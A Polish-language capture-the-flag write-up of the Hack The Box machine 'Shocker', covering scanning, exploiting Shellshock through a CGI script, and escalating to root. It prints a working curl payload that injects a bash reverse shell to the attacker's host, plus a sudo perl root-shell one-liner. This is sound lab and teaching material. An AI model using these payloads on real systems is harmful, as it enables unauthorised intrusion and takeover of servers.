W drugim artykule z tej serii, pod lupę biorę maszynę z portalu Hack The Box o nazwie Shocker.

Jeśli chcesz poznać szczegóły dotyczące wykorzystywanej przeze mnie terminologii lub nie znasz znaczenia nieopisanych przeze mnie poleceń to zapraszam do lektury pierwszego artykułu z tej serii

Szczegóły boxa

Nazwa Status Trudność IP
Shocker retired 3.6/10 10.10.10.56

Write-up

Analizę rozpoczynam tradycyjnie - od skanu narzędziem nmap.

$ nmap -sC -sV -oA nmap/nmap-enumerate 10.10.10.56 
$ sudo nmap -p- --min-parallelism 100 -sS -sU --min-rate 5000 \
    -oN nmap/nmap-all 10.10.10.56

Po skanie można zauważyć. że otwarte są tylko 2 porty:

Port Usługa Wersja
2222 SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
80 http Apache httpd 2.4.18 (Ubuntu)

Z odpowiedzi obu usług można wysunąć wniosek, że systemem bazowym jest Ubuntu. Protokół SSH w tej wersji nie posiada znacznych podatności, które w łatwy sposób umożliwiłyby przedostanie się do maszyny, więc skupiam się na porcie 80. Narzędzie searchsploit również nie znajduje żadnych ciekawych błędów w odkrytych usługach.

HTTP

Na stronie startowej po portem 80 znajduje się bardzo prosta strona z grafiką:

Strona startowa

Jako, że w kodzie strony (podpowiedź - kombinacja klawiszy CTRL-U na klawiaturze) nie ma nic ciekawego, rozpoczynam skanowanie podstron narzędziem gobuster.

$ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://10.10.10.56 -x "txt,html,php,asp,aspx,jsp,pl,sh" -s "200,201,202,203,204,302,301"  

Wykorzystane parametry:

  • -w - ścieżka do słownika
  • -u - URL danej usługi
  • -x - wyszukuj również ścieżki zakończone podanymi rozszerzeniami (np. index.html i index.php)
  • -s - akceptowalne kody odpowiedzi HTTP

Słowniki (czyli tzw. wordlisty) są domyślnie pobrane na Kali Linuxie, ale jeśli jednak nie masz tego wykorzystywanego przeze mnie, to znaleźć go możesz w pakiecie SecLists

Wynik polecenia gobuster jest następujący:

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.56
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
[+] Status codes:   200,201,202,203,204,301,302,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
===============================================================
...
...
/cgi-bin/ (Status: 403)
/index.html (Status: 200)
/server-status (Status: 403)

W oczy automatycznie rzuca się ścieżka /cgi-bin/. Biorąc pod uwage, że jest to serwer Apache, cgi-bin jest dostępne, a nazwa boxa to Shocker to w grę wchodzi podatność shell-shock. W skrócie polega ona na zdalnym wykonaniu kodu poprzez nieprawidłowe interpretowanie zmiennych środowiskowych w bashu.

W bardzo przystepny sposób podatność ta została przedstawiona w prezentacji, którą można znaleźć na stronach organizacji OWASP

Jedyne co teraz potrzebujemy to jakikolwiek podatny endpoint. Najprościej jest wykonać ponownie polecenie gobuster dodając suffix /cgi-bin do adresu.

Endpoint - ścieżka w adresie URL (np. /cgi-bin/)

$ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://10.10.10.56/cgi-bin -x "txt,html,php,asp,aspx,jsp,pl,sh" -s "200,201,202,203,204,302,301"  
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.56/cgi-bin/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
[+] Status codes:   200,201,202,203,204,301,302,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     pl,sh,txt,html,php,asp,aspx,jsp
[+] Timeout:        10s
===============================================================
===============================================================
/.hta (Status: 403)
/.hta.pl (Status: 403)
/.hta.sh (Status: 403)
/.hta.txt (Status: 403)
...
...
/user.sh (Status: 200)
===============================================================

Udało się znaleźć plik user.sh.

Strona startowa

Aby przetestować znaleziony endpoint pod kątem podatności shellshock wykorzystany zostanie odpowiedni skrypt NSE nmapa:

$ locate nse | grep shell
/usr/share/nmap/scripts/http-shellshock.nse

$ nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/user.sh 10.10.10.56 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-xx-xx xx:xx EDT
Nmap scan report for 10.10.10.56
Host is up (0.13s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-shellshock: 
|   VULNERABLE:
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-6271
|       This web application might be affected by the vulnerability known
|       as Shellshock. It seems the server is executing commands injected
|       via malicious HTTP headers.
|             
|     Disclosure date: 2014-09-24
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
|       http://www.openwall.com/lists/oss-security/2014/09/24/10
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
|_      http://seclists.org/oss-sec/2014/q3/685

Nmap done: 1 IP address (1 host up) scanned in 1.17 seconds

Jak wykazał skrypt - maszyna jest podatna.

Shellshock - wykorzystanie podatności

Najprostszą metodą eksploitacji będzie stworzenie reverse shella z wykorzystaniem narzędzia curl.

Kod reverse shella:

/bin/bash -i >& /dev/tcp/10.10.14.xx/4242 0>&1

Nasz własny kod umieszczamy np w nagłówku User-Agent. Ostateczny PoC exploita:

curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.xx.xx/4242 0>&1' http://10.10.10.56/cgi-bin/user.sh

Po stworzeniu nasłuchu (ang. listener) z wykorzystaniem polecenia nc -lvnp 4242 i wykonaniu PoCa, ukazuje się konsola użytkownika shelly.

$ nc -lvnp 4242 
listening on [any] 4242 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.56] 45620
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ whoami
whoami
shelly
shelly@Shocker:/usr/lib/cgi-bin$

Wykorzystując proste polecenie find, możemy znaleźć pierwszy z dwóch poszukiwanych kluczy:

shelly@Shocker:/usr/lib/cgi-bin$ find / -iname "user.txt" 2>/dev/null
/home/shelly/user.txt

Eskalacja uprawnień

Pierwsza rzecz jaką sprawdzam próbując eskalować pionowo uprawnienia, jest weryfikacja, czy użytkownik może wykonywać jakiekolwiek polecenia z wykorzystaniem sudo bez hasła. W tym przypadku mamy dostęp do interpretera języka perl:

shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

Wykonujemy proste polecenie tworzące powłokę bash i uzyskujemy dostęp do roota:

shelly@Shocker:/$ sudo /usr/bin/perl -e 'exec "/bin/bash";'      
sudo /usr/bin/perl -e 'exec "/bin/bash";'
whoami
root

W podobny sposób jak w przypadku pliku user.txt, wyszukujemy root.txt i uzyskujemy drugi klucz boxa.

find / -iname "root.txt" 2>/dev/null
/root/root.txt